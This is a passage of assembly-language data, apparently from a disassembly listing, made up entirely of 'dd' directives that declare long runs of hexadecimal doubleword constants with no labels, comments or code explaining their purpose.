		dd 0D6B9B000h, 1AD5A726h, 2C5F03FDh, 828994E1h,	2806A488h
		dd 8A082200h, 2F8F93FEh, 436E0010h, 8C11E9BCh, 1C001A30h
		dd 940DBF2Bh, 3BA398E1h, 8060E8Ah, 393B2E5Fh, 198ED100h
		dd 0E7D6C883h, 7C7E16E4h, 41FC001Ah, 102B8A5Eh,	0E8DD8E00h
		dd 8CF7AEAFh, 35180396h, 0B10E4E1Bh, 2C7E3B80h,	1278D674h
		dd 7D3ACE0Ch, 14C4813h,	0BB433C52h, 0C80CC436h,	24007AD2h
		dd 0D07B212h, 3722C54h,	0B8AABD8h, 0AA902EF4h, 9B049C95h
		dd 4858E58h, 63A75CC0h,	0FE94F8B2h, 2550025Eh, 839D4DEh
		dd 710038E4h, 81ACF943h, 9AB9F580h, 4C94B0DCh, 4C013CE1h
		dd 2535917Eh, 0F287D0ADh, 5127B300h, 3F48E713h,	2BA10040h
		dd 0B7D685C0h, 0E1002172h, 0B123961Ah, 72DBECA3h, 0BD26175Bh
		dd 442B008Ah, 0F5205E8Fh, 0FD56B800h, 47060283h, 0FB530461h
		dd 0B0D10ED8h, 0BC00671Ch, 0C1A41E3Ah, 58288C06h, 180056CCh
		dd 2792B207h, 9A72FBEDh, 4FA0F000h, 4BCCA9F4h, 399D98CEh
		dd 0C1802282h, 1A33ED74h, 7A04CBC9h, 44762B88h,	40D13AC2h
		dd 5CADE58Ch, 4F1F5039h, 0C0189CDFh, 8F337970h,	0E6065293h
		dd 6901295Dh, 0CD443F41h, 0BAB83E80h, 2D82D285h, 8DB0651Eh
		dd 1F063400h, 33A9D5h, 7252EFEDh, 3C14E749h, 9AC66030h
		dd 1C8F71E1h, 0CC1674h,	377A1ED3h, 8706D19Ch, 0C61476BDh
		dd 2D640719h, 0B09D2E1Bh, 837B1088h, 0EC4DCF16h, 95DD0C02h
		dd 60C06A81h, 0E03EA7h,	0F1054ACEh, 0DEE2AE42h,	0F2FA9F00h
		dd 95CFD7CCh, 40F81D43h, 91DACE53h, 88490885h, 0F2E0A120h
		dd 0ED9A6A00h, 691C2F9Fh, 59F028h, 58924DA2h, 3F7D4B0Ah
		dd 3E9AD31Fh, 1C0F3A41h, 96EC456Bh, 7BD10099h, 0ABA8D8C1h
		dd 0CF00CB31h, 1929490h, 3CA59ABCh, 0B2003C75h,	463F12F0h
		dd 7903139Dh, 74E17F88h, 7ADC9832h, 0C21C0758h,	0B7A908BBh
		dd 0ECFA7Ch, 97D0CAB1h,	35009C69h, 3FF80749h, 26CEE7h
		dd 0C3E11588h, 0DA73AD30h, 98998928h, 0BBBC39h,	0DF45E7DDh
		dd 0F8EDF43Ah, 0D2680AC0h, 30D995A4h, 0FCF09228h, 740F5C7Fh
		dd 608187A0h, 52A7B34Ch, 11D50036h, 8A3FBACBh, 0A87120FFh
		dd 0D8CA18C1h, 3AD8604Ch, 0D4AC3113h, 0C9B4F631h, 1E6C3818h
		dd 0F85CCD0Bh, 428D2100h, 7D481D1h, 0C690C084h,	73D0271Ch
		dd 44B0660Ah, 0D9095587h, 2D709Ah, 0BDFCCB85h, 5E2C0B6Bh
		dd 0F089F253h, 239D4080h, 0D2039B8Ah, 0BC800796h, 50CFC075h
		dd 0FB94E2Eh, 14A01218h, 0EA69BB70h, 0ED31CB00h, 6A0F9FB8h
		dd 6889002Ch, 88780E46h, 82007714h, 11A8FD36h, 1235B9h
		dd 5BFF41ECh, 0D675E623h, 9F6A2C00h, 6105E8F6h,	6089F4ACh
		dd 37AB7027h, 0C80E18DBh, 7E72EA6Ch, 8340319Ch,	0B223898Ch
		dd 0D428C90Fh, 74095D81h, 0A4287076h, 0BA0094B8h, 90B47E2Ah
		dd 0B0164C29h, 0D14800A8h, 7ABB9E8Ah, 0CF00321Fh, 0F69BCDBEh
		dd 0C9A68Ch, 93013AB1h,	44536C18h, 0F189B301h, 9A86E00Eh
		dd 811C70h, 7DBF5057h, 9386745h, 0E752203h, 3326371h, 46E45F48h
		dd 300084B3h, 0BAAC4769h, 0EA494817h, 7D360041h, 2591D47Eh
		dd 1630F046h, 0BDC13834h, 143E3AABh, 7DA32E80h,	0A8B68B9Eh
		dd 0A1FC73F8h, 0F4554Ch, 94B07280h, 9DAA5F8h, 0D141D24Ah
		dd 56552868h, 2100D9EEh, 3A1CBE48h, 85063Dh, 0AC96A3BDh
		dd 61BFB7E8h, 0C00357Bh, 0E47DA270h, 94BA3893h,	4C1C0B88h
		dd 10D52A87h, 5A4D8340h, 800A9938h, 90BFB59Eh, 1253CE6h
		dd 0B1AF6B0Eh, 2862DCBEh, 9C9F0098h, 2B2E513Ah,	10720E0Ah
		dd 0F7E16A3h, 27E0A5FAh, 0CC512271h, 775A7000h,	2CCBA4BBh
		dd 0FFD279EBh, 87D3CCh,	2F605C4Eh, 0A7159C0Fh, 6116EE00h
		dd 0A62C3FBFh, 0E299000Eh, 0B5492DD0h, 0B4A09F95h, 0D504B04Ah
		dd 932762F5h, 2BBFE780h, 0F6EF77E6h, 3F2EFA38h,	0E2808722h
		dd 0A5EADF90h, 8471F8B4h, 0C78C9E00h, 88BAE8D9h, 8DEB489Dh
		dd 82052000h, 78A9041Dh, 4A484900h, 0D010DCB2h,	0A47BCEh
		dd 3BC08B64h, 0E34DD05h, 1B49E505h, 20802C41h, 71162A4h
		dd 2D3F379Dh, 295C434Fh, 7F10E2F8h, 0FCDE3D1Fh,	3E422400h
		dd 0EE9CD939h, 255300E8h, 52AEBC4Eh, 43069F8Ch,	0C40E7C15h
		dd 2F710011h, 0E0BAAF14h, 390001E6h, 0FA2786E9h, 0F977A8h
		dd 0A717504Fh, 0C62B0A13h, 0DC299A2Dh, 14B80035h, 7684CB7h
		dd 0E3050200h, 4A37C10Eh, 83720059h, 9DBADCC4h,	405FB29h
		dd 9E802DB3h, 456D37C1h, 3030AAF9h, 0C0A12015h,	53A0E800h
		dd 0B43927BFh, 0E3D838EAh, 0BB8077BEh, 0CCB1D1F4h, 0E91EFEB5h
		dd 3200117Dh, 2C766668h, 0E5B0319h, 0FF16DBA3h,	0BFA185A0h
		dd 0EC104700h, 3758D7B5h, 63EB00C3h, 7428886Ch,	0F83BE396h
		dd 0D55F00D6h
		dd 78665102h, 0EBDA001Fh, 163CE9BFh, 27030D59h,	561BEFE3h
		dd 11C7D83Eh, 712300EAh, 0F317059Dh, 4C0067BFh,	5A6940ABh
		dd 0E09029h, 0F07103A5h, 965E6265h, 4C794F1Eh, 8100ABDEh
		dd 0E1C8A860h, 0EFB3079Ah, 30806D7Dh, 0B6409249h, 0AC002D4Bh
		dd 0CF9A7981h, 0F7C00001h, 4D9CEC3Eh, 0DE009B2Fh, 4EFA34EBh
		dd 701AADh, 0E997FCC1h,	5D188940h, 2300C370h, 1B7C34E5h
		dd 0B6C66Ch, 0D66FD31Eh, 33931782h, 2F9A0F00h, 843DFCADh
		dd 0B3150169h, 0E7801606h, 0F7DAF0D2h, 0BB008CF8h, 0B677A033h
		dd 389023A6h, 0E0281A7h, 344396F4h, 0FCF99441h,	0EE044E1Ch
		dd 0DA9A2A24h, 0EA710781h, 17D50D4h, 2FEC7613h,	0CE5CBA1Bh
		dd 56C22B40h, 6EA9D316h, 128C6020h, 11D4030Ah, 7DAD29F1h
		dd 1BCE1000h, 7F08DDC9h, 0A1180126h, 0BFF6AA8Bh, 0AF65E059h
		dd 3DCDF4C7h, 0DFA3BB40h, 3A840021h, 44E162B4h,	7A004CB1h
		dd 69A6ED76h, 48A191BEh, 75D980h, 9D0D8AA3h, 1AF2B321h
		dd 0EB6C6501h, 0BEE78F4Bh, 131E064h, 0C77687Bh,	0DCECC13Fh
		dd 78001610h, 1C2CA856h, 98289229h, 6B9E03B6h, 19F894Dh
		dd 0AE8FDB0h, 0CA0D3600h, 7A761E20h, 1FB50318h,	56B3C372h
		dd 75990200h, 988DBAFh,	30EC606Ch, 0C830943Eh, 0EE9CEA1Bh
		dd 0B51E8850h, 0AD09008Fh, 2E590B32h, 100068E5h, 0A48AE002h
		dd 902AC2A2h, 0B975F7h,	2536F720h, 8C28B8A5h, 3833CA00h
		dd 0D45B3D06h, 97D80064h, 4E8B35BAh, 750389A5h,	7DA78786h
		dd 1EBDC82Bh, 96AB00BEh, 0B171E5FCh, 0CF00FFFDh, 89BB95DEh
		dd 27A9477h, 36AA72D7h,	4760D415h, 0D800519Fh, 6FB1545Ch
		dd 0F3B324h, 2E0C4A30h,	0E6C0150Bh, 8BC7EB3Ah, 23B297ABh
		dd 0B8583914h, 3BCAA9F4h, 40AE9A49h, 0C9D100E6h, 0BE599F34h
		dd 0A6162D0Bh, 649A80ABh, 1496852h, 0B5EBD742h,	705E58C2h
		dd 0B28CC34h, 0B1589489h, 0F1D62414h, 90A7160Bh, 0F614FE4h
		dd 1FF02EE7h, 0B729DA60h, 87EED96Bh, 0D100B672h, 0CC7C3A62h
		dd 75FB805h, 28FF2B1Ah,	1B910196h, 755280F5h, 9262D919h
		dd 717E1EA7h, 1CAFE861h, 803DE605h, 0BA600ECBh,	87FC1CBDh
		dd 2F62C800h, 0B5A79734h, 2631E532h, 2011DC34h,	0C9580524h
		dd 0A0790158h, 0DE15872Bh, 3D9D70h, 0C23837F1h,	7DB5E7DAh
		dd 0FC2B9B00h, 842E57B1h, 0ACA004Bh, 89D11528h,	8C00B84Dh
		dd 92CB2383h, 3E7492Ah,	0DC2E3AEAh, 8898CE06h, 5A004831h
		dd 0FCAADD11h, 1F9C09C7h, 4D6173D7h, 40C85044h,	0D2E359C7h
		dd 0C30008E0h, 0E50A2A6Ah, 0FEA10DA0h, 29B33CBCh, 5DC9E00h
		dd 0E6CD74D9h, 0E8C948h, 16784DCAh, 0C51058h, 2002270Ch
		dd 7B8EC793h, 0FC08D600h, 54DA7FEBh, 0F15E009Ah, 7510B3F9h
		dd 0CB1DD430h, 0D2DE7D02h, 77019868h, 7B836C39h, 4AD80A88h
		dd 0D81A0334h, 2F5240F4h, 0FA2698E8h, 33DCC813h, 0A98E7880h
		dd 7F2B0021h, 9C2C3A58h, 0BB79A598h, 0CDF86200h, 6CC6B738h
		dd 544E847h, 7FF39B8Fh,	4E80372h, 7ADBE0A1h, 0FF49E988h
		dd 0A5098101h, 38969976h, 1E080FD4h, 401041B1h,	9EFAED94h
		dd 3F00674Dh, 0DAD44A64h, 1BCC1h, 0AD03E49Dh, 0A0F517C2h
		dd 0C1B672Eh, 33604E00h, 18A9A253h, 78D175D5h, 0D21E132Ah
		dd 394093AFh, 2207AD25h, 0E11900DFh, 0A1AE4BA5h, 0A2006DB5h
		dd 567A2CB3h, 0B47915h,	24FD2BBh, 607F7E21h, 0FD964007h
		dd 9FC014F1h, 0D5DF6Bh,	0F9F09A31h, 0D401BD6Dh,	0FD3FD000h
		dd 0B8CCFAC4h, 5CD898A5h, 52009CB4h, 32052CB0h,	0F70089ABh
		dd 0E2D52434h, 4412A0h,	0DE16900Ch, 192D649Eh, 2BC985Ch
		dd 52E9E6FBh, 977F608Bh, 0EFDA509Ch, 24D0FAA2h,	8C8314h
		dd 0FA50012Ah, 20E47295h, 697D8400h, 0F7A49112h, 0CC2A1DE1h
		dd 44384094h, 8030657Eh, 0A9470500h, 0ACE2DC34h, 4ABD039Bh
		dd 0FFE0223Fh, 7612100h, 3E4CA80Dh, 107C0062h, 697A53CEh
		dd 4BFA824Eh, 542C9509h, 79948484h, 9004C283h, 772A3F3h
		dd 0DFE18A4Ah, 76611E3Bh, 302A7C41h, 4E0083D4h,	0F1606521h
		dd 12F6DD5Ah, 0C0519A45h, 53610668h, 78B3848h, 0E91C129Ch
		dd 0A582931h, 9BB6DC8h,	6F43FEC4h, 0C2727C80h, 0DE7B105Ch
		dd 0A8D8F900h, 29D24ABCh, 0EC450243h, 0EFBE2DD9h, 13B916C0h
		dd 897B9204h, 0FCC01B08h, 122BAFA5h, 2DCF8Bh, 4EC8512Bh
		dd 0E1030F5Ch, 68D788ACh, 725C004h, 802F0045h, 8EDE2406h
		dd 95075623h, 0E4A949EDh, 0E97F7280h, 2FDC0011h, 0E7C0643Eh
		dd 361D6C17h, 977FF7CCh, 0FCC7D215h, 72E4404Bh,	8B51F1Dh
		dd 97E809Ch, 5832ED13h,	8000BFE4h, 0E34577FEh, 61CA1C0h
		dd 0ECF6146Eh, 0A8281837h, 200E773h, 2F26941Ah,	140BCAh
		dd 0F6D3AC7Eh, 0ADD065BEh, 6030612Eh, 406EA20Bh, 7C766E8h
		dd 5A55950Bh, 4CBC401Eh, 0B70E8240h, 0A55865F2h, 0FB024B9Fh
		dd 56F58F38h, 685D038Ch, 0BC888011h, 0B8002A3Ah, 89B3F775h
		dd 423205Eh, 3E1FBEB7h,	797080D5h, 9B185364h, 97A483A1h
		dd 0DE810312h, 0B9F45663h, 3C4258F8h, 80E3ED39h, 4FA7EC30h
		dd 0D073BFh, 4F76C88h, 56DD162h, 0A1424B0Ch, 835819h, 0DF5D6FADh
		dd 0D21AB3ACh, 8B28C972h, 0D707A1D1h, 0D487EF29h, 43DCC35Fh
		dd 74EDB42h, 10179DC0h,	61FE3095h, 490001EEh, 0A18A5B7h
		dd 60E476h, 6ACA4751h, 4E2FD84Dh, 8046953Eh, 0F2AC4579h
		dd 2E669Eh, 0DD0B6B70h,	401C3F6Dh, 68CF707h, 0E920A5EBh
		dd 3EEAD32Eh, 0E3006B44h, 354F60DBh, 0EF011253h, 99F5815Ah
		dd 0E870A958h, 0EB772FEh, 7C88DFADh, 0B525F9C0h, 19002CA5h
		dd 0AF606D3Bh, 8CAE9Bh,	0FA907D36h, 50CD4E02h, 0CCBC0A00h
		dd 18DA496Bh, 0BDE01CAh, 0D5B1DD86h, 0BFA0205Dh, 0D313FEE8h
		dd 5400E68Ch, 818EA688h, 83043F9Eh, 94A8ED00h, 485F1051h
		dd 80C6D13Dh, 69B63418h, 0FF801F4h, 13EE569Bh, 67E08D20h
		dd 9FA032C7h, 8C18368Fh, 1558D0F3h, 9BE651h, 0F407A91Ah
		dd 0D4093864h, 6E798A03h, 0A0B63BC0h, 3A0B8937h, 963BD231h
		dd 0F3547B00h, 0B78BF547h, 0B2BAE307h, 0A8502B88h, 0ED11A7h
		dd 0CC842375h, 48E6C456h, 0D9C98200h, 3278DF30h, 810C0052h
		dd 185886BCh, 0C7753B63h, 80C4E158h, 68DBD105h,	0C80F9734h
		dd 3A78EA4h, 0C52579h, 0A5807A11h, 7F849AE8h, 19DB0F30h
		dd 83A70h, 52FBC37h, 0C4827819h, 0E8E05900h, 0E792B638h
		dd 497EEAAh, 5D749A1Ah,	0D1B080BBh, 0B900C40Ch,	2D489950h
		dd 2D010D3h, 4B8C44B5h,	10E0D63Ch, 0F5E87FE3h, 8363E71Dh
		dd 0FDFF6A80h, 3D55CDEFh, 0D600C5F9h, 197B066h,	0F700603Dh
		dd 0C32B9C84h, 5D6D78h,	0F41ACDAFh, 56F9D7B6h, 7B35F600h
		dd 0B9DD654Bh, 0A8FC88h, 74F8FFFCh, 36F01498h, 23CEB102h
		dd 0C00382DDh, 12133496h, 391E121h, 91C8644h, 2BDED0FFh
		dd 38904C3Eh, 53029E00h, 0A4662362h, 46B50E29h,	5A80455Eh
		dd 346B0CE5h, 222BE607h, 0D94130DDh, 10207C99h,	18EC003Eh
		dd 9379A357h, 0B900B0E3h, 0D39B836Fh, 288142B4h, 0CFA5E7h
		dd 0AFF0C543h, 99FAF69Eh, 0A6A79501h, 0EB87065Bh, 0BD02A47Ch
		dd 0F9CEAE2Bh, 2EF09E60h, 313DCAE8h, 1E999CE4h,	7C4B3B00h
		dd 90D690AFh, 0EEB9012Eh, 0F98A808Fh, 180DDC05h, 0B20BF113h
		dd 2085F420h, 60966143h, 40B47C0Ah, 289D7F84h, 4BDC58h
		dd 0BCB19AACh, 0E5CE757h, 0B250A826h, 0B0863227h, 5F95FD69h
		dd 3F4E405h
		dd 0C0BED1CEh, 6042308Fh, 0F93DFB00h, 0FD1D5A99h, 16D7FBFh
		dd 0A8FAC0DEh, 702F6405h, 30E7CE75h, 1500CB0Eh,	0F7222DDAh
		dd 9075FEBAh, 4AD70180h, 76F8A8A0h, 0E38FEC53h,	53BD80Eh
		dd 3EB9A095h, 195CE671h, 18DFC81Dh, 22CC282Ah, 0A81300D3h
		dd 148EF571h, 500733Bh,	0E2F4B896h, 7BD9FE10h, 0DD190038h
		dd 770B6762h, 0B84C8122h, 0DFF80948h, 0C63C00CEh, 7C6265A8h
		dd 8C9801B1h, 0CA2A71Ch, 0C235E418h, 617C8D00h,	0E0532F96h
		dd 74020329h, 0D49D031h, 7B2E1100h, 4ED94D68h, 1F0173A4h
		dd 8996CB94h, 0E083A148h, 7EB856B4h, 7A00CC44h,	414E6650h
		dd 0C2ECD6h, 48534F6Dh,	349D4F7h, 47C8D200h, 38BD5684h
		dd 2E7400EBh, 0B2F467DDh, 0EEFAE261h, 0A84D9C12h, 15E32502h
		dd 3E28DA80h, 0B78A2E7h, 0FDBB9140h, 358DC581h,	0C7DE8B7h
		dd 0BAE3383Ch, 9B9482B2h, 40487AFFh, 769C7FFh, 0D4E92ABFh
		dd 0B0C3092h, 5E007D3Ah, 8D8531B4h, 0FCC1F95Bh,	48B2E24Bh
		dd 3400642Ah, 33D71E32h, 0E407F698h, 2964196Ch,	45A000BBh
		dd 7FA3A69h, 0DBB150BEh, 3B4E40AAh, 29FC6C15h, 0DC910A00h
		dd 6E6FEC88h, 0AF76E3h,	0C49C016Bh, 11411D93h, 0A000F0B8h
		dd 58436F92h, 34C2D7h, 95AE6780h, 1220C930h, 0DB0098B0h
		dd 7839319Fh, 0D714B7h,	108635A7h, 0DF2506B3h, 0A8003E7Ch
		dd 130F913Ah, 9D367D7h,	4F7E6FA9h, 0BBCFB803h, 17B14801h
		dd 0BA6D56EFh, 18F910BFh, 847D7FC3h, 613F3B1Bh,	45AE026Bh
		dd 7C48C421h, 7904396Ch, 0C07B9397h, 0CA78A6Bh,	4CE8A91Dh
		dd 0CBC1289Ch, 88765971h, 8C11A080h, 0EBDD40DFh, 171CC9FAh
		dd 0E6C04CDEh, 2207AC56h, 0F3D1C7D8h, 0E96AD430h, 0A7110048h
		dd 0E574169Ch, 4498E0h,	90BB269Bh, 41CCEBE7h, 42457100h
		dd 82B83B1h, 70B727BAh,	0CC1A489h, 0F05F4A3h, 879FD03Bh
		dd 6A2F72BAh, 0DA7CECA0h, 0D7EC2h, 0CFA38211h, 0D2EA8E8Fh
		dd 1EE09513h, 12755001h, 4800F30Ah, 0E34B229Ch,	0B9490006h
		dd 20E658F8h, 11D23C00h, 2E4F65D5h, 731CD975h, 0B143218Dh
		dd 0A70C9195h, 98F6B780h, 945058EEh, 0D2004F3Ah, 3A1B6EACh
		dd 38B0AE6Bh, 90B26F06h, 0FB8AAAFh, 9BFDF791h, 75E45C40h
		dd 0AC2C15A2h, 9C44A02Ch, 1FC748D0h, 585D4C3Fh,	588A607h
		dd 42A9D036h, 19C09B7Ch, 0FBEF01E5h, 90A4A1F2h,	75D52086h
		dd 2A3B10F3h, 0EA490013h, 7AEC3C4h, 0B2E300ABh,	0DE9C9BC5h
		dd 7800E93Eh, 5AC1CC33h, 777664h, 0AFBD40DCh, 4208D787h
		dd 3FBF6B1Dh, 68F29040h, 3A6EDABh, 8CC1DDD4h, 9EE0C0C5h
		dd 14002F80h, 0D2A2F558h, 0F6F89A41h, 2D1B0082h, 53317EA7h
		dd 0C93048E2h, 516F98E3h, 4F5E3C13h, 0CD1F2C04h, 0BE98E475h
		dd 55B74209h, 25C38092h, 38314C7h, 0ED9FE2C3h, 0F876FCAAh
		dd 0F386A408h, 0D88B3C7Dh, 74801230h, 0C4139052h, 0B7E2C18h
		dd 0BEA121h, 5B54CAE4h,	1C8A3ABFh, 0B51B660Ch, 395EE1h
		dd 41FC0119h, 6E7724EAh, 0BDACC100h, 97E3BE86h,	13089E5Fh
		dd 76280B07h, 68EB14A3h, 0B033C2C8h, 0A8BF7C07h, 0BE8FA6h
		dd 0F695C4B3h, 43270A8Ch, 0BA270CCh, 98E8B02Ah,	8003631h
		dd 54E9755Ch, 97F6567h,	4E872371h, 7C00E478h, 5BABE648h
		dd 785E9D4h, 9E0A0CEFh,	0F193C0CDh, 49504645h, 0FC00FEB7h
		dd 0BFD937ACh, 0C192Fh,	0BCB86967h, 2B17405Bh, 0C9AD0200h
		dd 8F1E1435h, 33CA00A7h, 5A427855h, 0DD071FD0h,	0B446820Eh
		dd 40048830h, 9C350095h, 89280A3Fh, 0A616E115h,	0CC35BA58h
		dd 0F900DDC7h, 639C1Eh,	0B305157h, 2F8E79EFh, 175CC800h
		dd 0EDD326DFh, 137A32h,	998ACB51h, 0FAAF021Dh, 20B3C930h
		dd 3E839F96h, 6809844h,	397204BFh, 7807DAE3h, 0BDE1DC21h
		dd 0FA416AF0h, 0B9730034h, 0AF1B86D6h, 92399447h, 0DAF10031h
		dd 0F02CA4B1h, 600CB0B7h, 35A06896h, 0CC071239h, 0E9C280B9h
		dd 4B2A8940h, 0F08E00C6h, 2BA58B72h, 0CE049450h, 0A6302861h
		dd 0FABC88C2h, 88809FC4h, 0DEC8B7AEh, 67506462h, 1CCF8BBh
		dd 502AABC1h, 7DA10CBFh, 955605E8h, 0E4A09F0Eh,	2C34F01Dh
		dd 578D7A5h, 0A848FA5Bh, 8E94C188h, 0B4CCB0FDh,	8271017Ah
		dd 0F1059DEEh, 7841C850h, 30B6CC9Ah, 0A587CC24h, 32C0B2E4h
		dd 1C9A87h, 38B0BC1Eh, 2497BF2Bh, 0F4210200h, 805B697Eh
		dd 3489086h, 0DCE1941Ah, 1BE01016h, 250064E2h, 3830C54h
		dd 229FB4h, 18B71EBDh, 8E2E6D63h, 9C1038CFh, 3645821Dh
		dd 0C8C72F0Dh, 159BAC00h, 0C0A0351h, 0DBBC01E6h, 532313Bh
		dd 85EC0BC9h, 0CE21A480h, 0FCCF071Bh, 0E5F274h,	0C4E86BBh
		dd 0C8737726h, 38826C00h, 6B9E37h, 0E16A4D9Ah, 0A7993E54h
		dd 0F90B8E00h, 0D5FC705Ch, 0C9B30987h, 7CD85705h, 0DE46351Eh
		dd 40D8EE4Fh, 0F0C386D2h, 7BE109C7h, 80D851EFh,	0B7034800h
		dd 943F8C9Fh, 11A10B37h, 3D8014B0h, 0BA91163Ch,	2D5F0600h
		dd 0DFD20B12h, 249409FDh, 2C8B8BDCh, 37BD7C10h,	45401203h
		dd 60F85703h, 0FDC12052h, 0B9605275h, 0BD27DB31h, 9B872D97h
		dd 0C704EC00h, 90A029D0h, 61004733h, 0B5C5DBFAh, 5041EEB4h
		dd 37CD68h, 38CF0287h, 489944B7h, 301FC538h, 0F9B53836h
		dd 0D37A00E8h, 9DDC8A56h, 4700BCDDh, 0D20DD9ECh, 8EBB0Eh
		dd 0F07D368Fh, 7A5DC3DBh, 396D6F01h, 5075D9E4h,	512103DFh
		dd 0AE8CBDB7h, 0BFE5BE90h, 134E70F5h, 2400ACEAh, 0B627CE88h
		dd 7EF839A8h, 607CBABAh, 0DC8EE0C3h, 4A09816Fh,	0CEA2E0h
		dd 0C6E9474Ch, 37AA0035h, 6E99A3F4h, 71C0735Ch,	0C8EB3CE5h
		dd 0FD1F0DFAh, 69E89A2Dh, 5A870910h, 5FE010B0h,	2974AFBh
		dd 6511B2DCh, 72AE1D40h, 78EAFA04h, 0E8F05BCDh,	68A93F85h
		dd 0EA78D80h, 166BC367h, 0BC10FF60h, 0E85B79h, 46CBD206h
		dd 0C178E79Dh, 73276C98h, 4D90403Eh, 90E0985Fh,	0C8E63964h
		dd 8EE7E09h, 0E1084E0h,	0E569E40Fh, 883DC049h, 3B6F659Fh
		dd 0ED124AE6h, 2D5C0979h, 0D20320F8h, 54300562h, 0FE5000BCh
		dd 0EAFC8DF3h, 3761CA60h, 92DD9F34h, 13C07D0h, 4C51046h
		dd 0E4B2134Fh, 1D7A0324h, 0F9AE39h, 9453A709h, 4FBDF35Fh
		dd 88A40B0Ch, 0D8C27500h, 443D2799h, 0CADC005Ah, 43669ED0h
		dd 0B2040057h, 0B6F0ADC8h, 0A9002374h, 3F94E97Dh, 19DAB9h
		dd 0BD4E288Bh, 38D27806h, 4CA13926h, 0CCC1DF01h, 35E1090Bh
		dd 5774003Fh, 97623093h, 6A92DA00h, 0E609C3A4h,	47B20C6Eh
		dd 0A22980C9h, 80DA6039h, 0A5B0D9FAh, 1C9DF331h, 0D3F1336Bh
		dd 26680388h, 0BBF8B6F8h, 690B3A57h, 89A44E8Bh,	0D0E484h
		dd 1220ACB8h, 60E851CFh, 0A993890Ah, 71DFE50h, 1F8F1340h
		dd 1F2CB070h, 77F18B8h,	312BE816h, 50F0717Dh, 9D4C9BB8h
		dd 1793C43Ch, 6600644Eh, 0F00C14B7h, 5C173AC9h,	6522FF80h
		dd 8FBBF995h, 0EDBEC03h, 0A0A9EF3Fh, 67BC2694h,	702CC16Ah
		dd 0ECDA153Dh, 6D2BB0C0h, 9D9250BDh, 89A5A890h,	2B908274h
		dd 1FBE7700h, 724D813Bh, 36EB2FB0h, 4400642Eh, 5B41268h
		dd 59007AFEh, 0BDC0275Bh, 79D786EFh, 828A00E5h,	656C97DEh
		dd 1700CA3Fh, 38C57E13h, 0F264FF4Ch, 0A3500CDh,	0A5F14197h
		dd 0A200C99Bh, 635E23CBh, 6C55F6h, 183ED519h, 775FE613h
		dd 0A2AB4603h, 98F815D6h, 3BD0AAE1h, 9780CD19h,	0C58D8ADBh
		dd 0A6050372h, 0B510F36Eh, 6008DCB9h, 581BD4Fh,	761E2EC3h
		dd 134ADEF0h, 5A6AAFh
		dd 0FBF79B40h, 3B56677h, 8F0FBD10h, 79C343C0h, 0F1470CF8h
		dd 6F10D60Dh, 3803F600h, 42FB7C0Fh, 3B690E1h, 0FDEE8933h
		dd 11C06578h, 0F4F6BD63h, 0A8DDDC00h, 91998FE4h, 0BEC200C0h
		dd 9FEEF7Dh, 0B4021011h, 0B1731314h, 1724D0C4h,	0CFEE22h
		dd 82469DE8h, 0AC005187h, 860D591Ah, 5F5045h, 25729B6Bh
		dd 41C9EDD0h, 8ECB400h,	7D2A8C29h, 5A673078h, 73C41AF8h
		dd 650046F0h, 68750583h, 75ECCB7h, 0CFF1CB2Bh, 0A8BD63C2h
		dd 0DB8A3100h, 7C212EF8h, 260804A1h, 0ABA41CECh, 82C69E0Bh
		dd 0DE1001B0h, 4EC000DCh, 5516E11Dh, 2106AD00h,	83A6D5EAh
		dd 1F5000B2h, 2269C5EFh, 5B009CE2h, 6BBEF8F0h, 0A8EE820h
		dd 0C8EE265Dh, 1C570908h, 55525000h, 39CFC7F5h,	0B73B0309h
		dd 0F0A7B2EFh, 0AF321B30h, 0F9C0807Ch, 3E1DC47Fh, 9B0077F7h
		dd 163AA704h, 3B5C059Ch, 48EDEFB8h, 9764B01Ch, 0C9808F4Eh
		dd 0B8BB5B58h, 285F7B00h, 0AECD30DFh, 7AD87D6Dh, 95564098h
		dd 31869C18h, 0BEA660h,	0B0515332h, 0C49FF71Ah,	78E322h
		dd 1B3AB56Fh, 76CF1565h, 102B5D03h, 3A7AD9Dh, 0F02D7020h
		dd 3818F916h, 0C2C0F13Eh, 58E751EFh, 888ACCh, 82C6DCA4h
		dd 41E0BD6Eh, 0CF10E51Ch, 0BF289140h, 72BBA34Dh, 0C3BA4C1Bh
		dd 859C8200h, 0DB46AD68h, 0CD83700h, 907E21FDh,	0DBB8B4h
		dd 535D13Ah, 59EBA086h,	0F49E0C13h, 0FE6B200Fh,	0EFE1C1B7h
		dd 94C4F612h, 8A3001Ch,	30C46AD2h, 71188B42h, 0A2C922A1h
		dd 0AF9D0CCAh, 0A9109137h, 10183A24h, 4AC1EB82h, 176886B0h
		dd 57680119h, 43F7721Eh, 40B85Ch, 0A34A45E4h, 126D9F15h
		dd 79AE55Ah, 9055B294h,	0BA30901Ah, 0E4002C71h,	0AA6DF97Eh
		dd 51E59Dh, 237A6BF8h, 2F08A90Ch, 0F79E9701h, 9DB5A37Fh
		dd 7EFBD180h, 89B6286Ch, 0A634FE38h, 8C000097h,	0A7547B8h
		dd 9DF000FDh, 761CBB02h, 5402A97Ch, 17E1EF4Bh, 85F880DFh
		dd 2CB993h, 0BA1376DDh,	7FB0FDCh, 0F1009FE8h, 8C573941h
		dd 7B0EEBh, 0DA68E381h,	153079DBh, 54009B7Dh, 77D6D791h
		dd 78FB36A7h, 0F41000EBh, 2F4608F9h, 7D1CD359h,	7880EC34h
		dd 0B85FB53Dh, 167CF03Ah, 0F0256361h, 4C07C22Eh, 8FF9FA53h
		dd 52C5E00h, 0EE790F1Ah, 37007C28h, 0A64A9DD6h,	4CE21900h
		dd 36A2021Fh, 0F780F39h, 2E407AF7h, 0F696D328h,	1D81800h
		dd 0FE1F2F4Bh, 5B6E139Eh, 43DF0737h, 536B40A0h,	5201C68Bh
		dd 0F8343158h, 0F1E8AB0Eh, 9670EFh, 62072E1Fh, 7E24278Ah
		dd 14EC4500h, 6AA57961h, 284D01CAh, 2D3D9FDDh, 2C42F4D4h
		dd 0F968BF1Fh, 1F0A8D00h, 1456D41h, 0A4D28A72h,	0D0162933h
		dd 7B00B93Ch, 2F535991h, 0A0BC6790h, 0F80F28ACh, 73840E2Ah
		dd 71E576C1h, 40C119Dh,	2DC307C3h, 4B71000h, 10172F0Ch
		dd 1C377D9Fh, 3A4C097Bh, 5A89693Bh, 12035CC0h, 2921FFCBh
		dd 0A26B1E9Bh, 0B0C3BE22h, 0B729C414h, 0B034430h, 0E6427248h
		dd 27D32408h, 4788402h,	0D9F72196h, 0D110CF12h,	0C20A8893h
		dd 89D09F88h, 44BF080Bh, 28A0AE8Eh, 278903B7h, 95442A08h
